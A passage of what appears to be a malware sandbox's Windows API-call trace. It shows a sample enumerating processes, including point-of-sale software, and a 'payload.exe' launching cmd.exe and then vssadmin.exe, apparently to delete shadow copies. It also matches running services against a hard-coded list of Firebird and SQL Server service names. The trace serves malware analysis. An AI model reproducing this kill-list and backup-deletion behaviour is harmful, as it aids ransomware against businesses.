th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0038.130] lstrlenW (lpString="ccv_server.exe") returned 14 [0038.130] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0038.131] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0038.131] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0038.131] lstrlenW (lpString="creditservice.exe") returned 17 [0038.131] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0038.132] lstrlenW (lpString="edcsvr.exe") returned 10 [0038.132] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0038.132] lstrlenW (lpString="fpos.exe") returned 8 [0038.132] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0038.340] lstrlenW (lpString="isspos.exe") returned 10 [0038.340] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0038.345] lstrlenW (lpString="mxslipstream.exe") returned 16 [0038.345] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0038.346] lstrlenW (lpString="omnipos.exe") returned 11 [0038.346] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0038.420] lstrlenW (lpString="spcwin.exe") returned 10 [0038.420] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0038.448] lstrlenW (lpString="spgagentservice.exe") returned 19 [0038.455] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0038.456] lstrlenW (lpString="utg2.exe") returned 8 [0038.456] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0038.456] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0038.456] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0038.457] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0038.457] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0038.457] lstrlenW (lpString="notebook.exe") returned 12 [0038.457] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0038.458] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0038.458] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0038.458] lstrlenW (lpString="current.exe") returned 11 [0038.458] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.459] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.459] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.459] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.459] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.460] lstrlenW (lpString="taskhost.exe") returned 12 [0038.460] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.460] lstrlenW (lpString="dllhost.exe") returned 11 [0038.460] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.461] lstrlenW (lpString="dllhost.exe") returned 11 [0038.461] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0038.461] lstrlenW (lpString="payload.exe") returned 11 [0038.461] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.462] lstrlenW (lpString="cmd.exe") returned 7 [0038.462] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.462] lstrlenW (lpString="conhost.exe") returned 11 [0038.462] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0038.462] lstrlenW (lpString="vssadmin.exe") returned 12 [0038.462] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0038.463] CloseHandle (hObject=0x1f8) returned 1 [0038.463] Sleep (dwMilliseconds=0x1f4) [0039.418] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8fff00 [0039.418] EnumServicesStatusExW (in: hSCManager=0x8fff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0039.419] GetLastError () returned 0xea [0039.419] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x123e) returned 0x395d750 [0039.419] EnumServicesStatusExW (in: hSCManager=0x8fff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x395d750, cbBufSize=0x123e, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x395d750, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0039.420] CloseServiceHandle (hSCObject=0x8fff00) returned 1 [0039.420] lstrlenW (lpString="Appinfo") returned 7 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0039.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0039.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0039.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0039.420] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.420] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0039.420] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0039.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0039.420] lstrlenW (lpString="AudioSrv") returned 8 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0039.420] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0039.420] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0039.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0039.420] lstrlenW (lpString="BFE") returned 3 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0039.420] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0039.420] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0039.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0039.420] lstrlenW (lpString="CryptSvc") returned 8 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0039.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0039.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0039.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0039.420] lstrlenW (lpString="CscService") returned 10 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0039.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0039.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0039.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0039.420] lstrlenW (lpString="DcomLaunch") returned 10 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0039.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0039.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0039.420] lstrlenW (lpString="Dhcp") returned 4 [0039.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0039.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0039.421] lstrlenW (lpString="Dnscache") returned 8 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0039.421] lstrlenW (lpString="DPS") returned 3 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0039.421] lstrlenW (lpString="eventlog") returned 8 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0039.421] lstrlenW (lpString="EventSystem") returned 11 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0039.421] lstrlenW (lpString="gpsvc") returned 5 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0039.421] lstrlenW (lpString="iphlpsvc") returned 8 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0039.421] lstrlenW (lpString="LanmanServer") returned 12 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0039.421] lstrlenW (lpString="LanmanWorkstation") returned 17 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.421] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0039.421] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0039.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0039.421] lstrlenW (lpString="lmhosts") returned 7 [0039.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0039.422] lstrlenW (lpString="MMCSS") returned 5 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0039.422] lstrlenW (lpString="MpsSvc") returned 6 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0039.422] lstrlenW (lpString="Netman") returned 6 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0039.422] lstrlenW (lpString="netprofm") returned 8 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0039.422] lstrlenW (lpString="NlaSvc") returned 6 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0039.422] lstrlenW (lpString="nsi") returned 3 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0039.422] lstrlenW (lpString="PcaSvc") returned 6 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0039.422] lstrlenW (lpString="PlugPlay") returned 8 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0039.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0039.422] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0039.422] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0039.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0039.422] lstrlenW (lpString="Power") returned 5 [0039.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0039.423] lstrlenW (lpString="ProfSvc") returned 7 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0039.423] lstrlenW (lpString="RpcEptMapper") returned 12 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0039.423] lstrlenW (lpString="RpcSs") returned 5 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0039.423] lstrlenW (lpString="SamSs") returned 5 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0039.423] lstrlenW (lpString="Schedule") returned 8 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0039.423] lstrlenW (lpString="SENS") returned 4 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0039.423] lstrlenW (lpString="ShellHWDetection") returned 16 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0039.423] lstrlenW (lpString="Spooler") returned 7 [0039.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0039.423] lstrcmpiW 